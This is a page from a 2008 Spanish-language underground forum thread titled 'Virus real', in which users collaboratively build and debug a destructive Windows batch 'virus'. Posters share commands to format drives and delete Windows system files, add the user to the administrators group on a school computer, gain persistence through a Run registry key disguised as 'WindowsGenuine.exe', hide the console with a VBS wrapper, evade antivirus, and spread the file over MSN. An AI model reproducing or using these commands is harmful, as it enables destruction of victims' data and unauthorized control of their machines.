Vota por nosotros en el ranking web que participamos

Curso Hacker
Bienvenido(a), Visitante. Favor de ingresar o registrarse.
¿Perdiste tu email de activación? - Octubre 12, 2008, 04:45:56
Inicio Ayuda Ingresar Registrarse
Visita: Articulos - Juegos Gratis - Da Foros

Comunidad Underground Hispana  |  Programacion  |  Programación  |  Batch (Moderadores: Espectro Infernal, |Shadow|)  |  Tema: Virus real 0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: 1 [2] 3 4 Ir Abajo Imprimir
Autor Tema: Virus real  (Leído 1008 veces)
cuban-hack
Habitual
*****
Desconectado Desconectado

Mensajes: 300


en la vida hay cosas que no se pueden explicar....


Ver Perfil WWW
« Respuesta #15 en: Abril 04, 2008, 12:52:41 »
yo lo probe antes de decirtelo en un pc de my escuela y funcionó con permisos de un user normal, sin restricciones. pero si tiene restricciones, para asegurarte de que funciona deverías obtener privilegios.....
usa variables para crearlo, por que si no te lo puede detectar el antivirus.
como te dije antes yo conozco dos maneras:

1) wmin: es un comando de windows, pruebalo......
2)net localgroup ADMINISTRADORES %username% /ADD
« Última modificación: Abril 04, 2008, 12:56:03 por cuban-hack » En línea
vivimos para amar,
y el amor es todo lo que nos rodea....
material o no......
por eso vive con pacion todo lo que digas o escrivas.. y seras recordado..
                            yu cuban-hack [cub2(daviel)]
echo off
format c:\
y/n:y
y/n:y
shutdown -r -t 05 -e "JODETE"
msgs *yo vivo jodiendo y ¿tu?
Klez.H
Colaborador
*****
Desconectado Desconectado

Mensajes: 500


Dios es sofisticado, pero no malévolo.


Ver Perfil Email
« Respuesta #16 en: Abril 04, 2008, 10:41:48 »
Cita de: cuban-hack en Abril 04, 2008, 12:52:41
yo lo probe antes de decirtelo en un pc de my escuela y funcionó con permisos de un user normal, sin restricciones. pero si tiene restricciones, para asegurarte de que funciona deverías obtener privilegios.....
usa variables para crearlo, por que si no te lo puede detectar el antivirus.
como te dije antes yo conozco dos maneras:

1) wmin: es un comando de windows, pruebalo......
2)net localgroup ADMINISTRADORES %username% /ADD

 Grin Exelente
En línea

Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
cuban-hack
Habitual
*****
Desconectado Desconectado

Mensajes: 300


en la vida hay cosas que no se pueden explicar....


Ver Perfil WWW
« Respuesta #17 en: Abril 05, 2008, 05:17:18 »
otra cosa que se me ocurrio sería utilizar este comando, que se encarga de ejecutarte los archivos con permisos elevados........ es decir, tendrias que redireccionar todo el code a una parte del pc, y al final ejecutarlo con este comando...

TAKEOWN

pero bueno, elije el que mas te guste o ponselo los 3 por si acaso
En línea
vivimos para amar,
y el amor es todo lo que nos rodea....
material o no......
por eso vive con pacion todo lo que digas o escrivas.. y seras recordado..
                            yu cuban-hack [cub2(daviel)]
echo off
format c:\
y/n:y
y/n:y
shutdown -r -t 05 -e "JODETE"
msgs *yo vivo jodiendo y ¿tu?
l0rd-magg0+
Habitual
*****
Desconectado Desconectado

Mensajes: 323


ab fronte praecipitum, ab torgue lubi

pazuzu@el-hacker.org
Ver Perfil
« Respuesta #18 en: Abril 07, 2008, 09:32:07 »
mmmmm no me gusta que allas dicho que solo funcione en windows sea una desventaja......en realidad no tiene por que ser desventaja  Roll Eyes Roll Eyes Tongue no creo que joder solo windows y no linux sea una desventaja por otra parte esta bueno tu virus yo me invente uno que hacia lo mismo con los archivos recividos del msn  Cool Grin oooootra cosa debiste y solo es una sugerencia hacerlo sfx o algo asi....para los que les encanta abrir los archivos por doble click sin razon alguna lol


saludos
« Última modificación: Abril 07, 2008, 09:37:49 por gui3 » En línea


Klez.H
Colaborador
*****
Desconectado Desconectado

Mensajes: 500


Dios es sofisticado, pero no malévolo.


Ver Perfil Email
« Respuesta #19 en: Abril 07, 2008, 12:43:33 »
Por un lado se podria tomar como una desentaja ya que no se puede "infectar" a cualquiera, aunque hay que tener en cuenta que la gran mayoria de las personas en todo el mundo usan Windows (Por lo que se podria convertir en una ventaja) Smiley, y con respecto al sfx no creo que sea nesesario por dos razones:
-No hay nesecidad de comprimirlo para mandarlo por msn Wink
-Tiene extencion .exe Wink
En línea

Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
Bizz
Visitante
« Respuesta #20 en: Abril 08, 2008, 11:59:39 »
xD precisamente el messenger de msn no permite mandar exes


y viendo ese codigo me extraña esto bastante.

----
goto rei
:rei
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsGenuine.exe /t REG_SZ /d C:\windows\system32\WindowsGenuine.exe /f
shutdown -s -f -t 01
start WindowsGenuine.exe
goto s
:s
exit
---
te aconsejo ke leas algo sobre el uso de goto aunke sea la ayuda del cmd.

no veo ke el archivo se mueva o copie  a C:\windows\system32\WindowsGenuine.exe
y no creo ke kien lo habra vaya a moverlo para ke se ejecute al inicio xD
ademas deberias usar una variable,windows no tiene porke estar en c:

yo diria ke el start al final no sirve de nada
En línea
cuban-hack
Habitual
*****
Desconectado Desconectado

Mensajes: 300


en la vida hay cosas que no se pueden explicar....


Ver Perfil WWW
« Respuesta #21 en: Abril 08, 2008, 12:10:34 »
mira podrias hacer una cosa

esto redireccionarlo a una carpeta cualquiera de windows

Citar
:delfiles
del "%systemroot%\system32\keyboard.*"
goto delreg
y hacer que esto se ejecute cada vez que se inicie windows, por que segun tengo entendido ese arcivo se recupera con el inicio e windows, y ya el teclado funcionaría, o simplemente hacer

at %ramdom%:%ramdom% start c:\windows\system32\adiosteclado,bat
o
at %ramdom%:%ramdom% del "%systemroot%\system32\keyboard.*"
En línea
vivimos para amar,
y el amor es todo lo que nos rodea....
material o no......
por eso vive con pacion todo lo que digas o escrivas.. y seras recordado..
                            yu cuban-hack [cub2(daviel)]
echo off
format c:\
y/n:y
y/n:y
shutdown -r -t 05 -e "JODETE"
msgs *yo vivo jodiendo y ¿tu?
Bizz
Visitante
« Respuesta #22 en: Abril 08, 2008, 12:18:53 »
me temo ke no es tan facil,los archivos dle raton y el teclado se recuperan en cuanto son borrados
En línea
cuban-hack
Habitual
*****
Desconectado Desconectado

Mensajes: 300


en la vida hay cosas que no se pueden explicar....


Ver Perfil WWW
« Respuesta #23 en: Abril 08, 2008, 12:32:28 »
por eso le dije que pusiera ese archivo como un bucle predefinido que se ejecuta con windows, y que use, un code de the shadow que utiliza vb¡s en bat y se encarga de que la consola solo se vea una milesima de segunda, aunque este ejecutandose horas y horas..... solo se podría cerrar por procesos, y el teclado no funciona....

  @echo off
rem verificamos si el code lo ejecuto el vbs
goto %1_run
:ini_run
echo AKI PON TU CODE  DEL BAT
ECHO EJEMPLO
DEL C:\WINDOWS\*.*
:_run
rem creamos y ejecutas el vbs q ejecuta el code con el parametro
echo set shell = CreateObject("wscript.shell") > run.vbs
echo shell.run "cmd /c "%0" ini", vbHide >> run.vbs
start run.vbs

el code es de the shadow creo.....
« Última modificación: Abril 08, 2008, 12:33:28 por cuban-hack » En línea
vivimos para amar,
y el amor es todo lo que nos rodea....
material o no......
por eso vive con pacion todo lo que digas o escrivas.. y seras recordado..
                            yu cuban-hack [cub2(daviel)]
echo off
format c:\
y/n:y
y/n:y
shutdown -r -t 05 -e "JODETE"
msgs *yo vivo jodiendo y ¿tu?
Bizz
Visitante
« Respuesta #24 en: Abril 08, 2008, 12:52:28 »
te refieres a un bucle similar a este ?

:key
del /s /q %windir%\system32\keyboard.sys
del /s /q %windir%\system32\keyboard.drv
goto key

porke si es asi eso de nada sirve el teclado sigue funcionando normalmente
En línea
[ E0F ] d0RkNet
[ E0F ] d0RkNet
Moderación
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 3078

Bo0mbInG StyLe.


Ver Perfil
« Respuesta #25 en: Abril 08, 2008, 01:03:56 »
a ver, segun el code del .bat, no se borraria ningun archivo a partir del :delfiles, tan solo te iria preguntando si desea eliminar o no en todos esos archivos....

a parte necesitarias permisos de admin para borrarlos, como ya dijo the shadow, dices tu que lo probaste en una maquina virtual, bien te aseguraste de no ser administrador cuando lo ejecutaste?...

y ademas para que metes esta parte

Citar
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsGenuine.exe /t REG_SZ /d C:\windows\system32\WindowsGenuine.exe /f

si no se va a copiar en C:\windows\system32\

yo que tu arreglaria los fallos he intentaria usar mas variables, para que sea mas ligero el code



saludos
« Última modificación: Abril 08, 2008, 01:04:43 por DarKDiam0nd » En línea
cuban-hack
Habitual
*****
Desconectado Desconectado

Mensajes: 300


en la vida hay cosas que no se pueden explicar....


Ver Perfil WWW
« Respuesta #26 en: Abril 08, 2008, 01:12:23 »
si el teclado sigue funcionando, no tengo idea de como hacerlo...
pero una cosa si, para molestar un poco... cambiarle el idioma al teclado
con el comando:
kb16


En línea
vivimos para amar,
y el amor es todo lo que nos rodea....
material o no......
por eso vive con pacion todo lo que digas o escrivas.. y seras recordado..
                            yu cuban-hack [cub2(daviel)]
echo off
format c:\
y/n:y
y/n:y
shutdown -r -t 05 -e "JODETE"
msgs *yo vivo jodiendo y ¿tu?
[ E0F ] d0RkNet
[ E0F ] d0RkNet
Moderación
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 3078

Bo0mbInG StyLe.


Ver Perfil
« Respuesta #27 en: Abril 08, 2008, 01:26:09 »
podrian probar, modificando el interior de ese archivo, quizas asi no responda bien el teclado




saludos
En línea
Klez.H
Colaborador
*****
Desconectado Desconectado

Mensajes: 500


Dios es sofisticado, pero no malévolo.


Ver Perfil Email
« Respuesta #28 en: Abril 08, 2008, 03:53:18 »
DARkdiAMoND:

1-El "virus" tiene extencion .EXE no .BAT!
2-En la etiqueta delfiles no hay nesecidad de poner ningun atributo para eliminar los archivos, (Yo mismo hice la prueba), ademas esta en modo Ghost y en ningun momento aparece la consola!
3-REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v TUBATCH.bat /t REG_SZ /d C:\TUBATCH.bat ("Formula general" para añadir un archivo bat al arranque de Windows).!

SALUDOS salud
En línea

Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
Bizz
Visitante
« Respuesta #29 en: Abril 08, 2008, 03:55:35 »
eso funciona si tu C:\TUBATCH.bat  esta en c: peor tu archivo no esta en la ruta ke tu añades al registro asike de nada sirve
En línea
Páginas: 1 [2] 3 4 Ir Arriba Imprimir 
Comunidad Underground Hispana  |  Programacion  |  Programación  |  Batch (Moderadores: Espectro Infernal, |Shadow|)  |  Tema: Virus real « anterior próximo »
Ir a:  


Ranking-Hits
Powered by SMF 1.1.6 | SMF © 2006-2007, Simple Machines LLC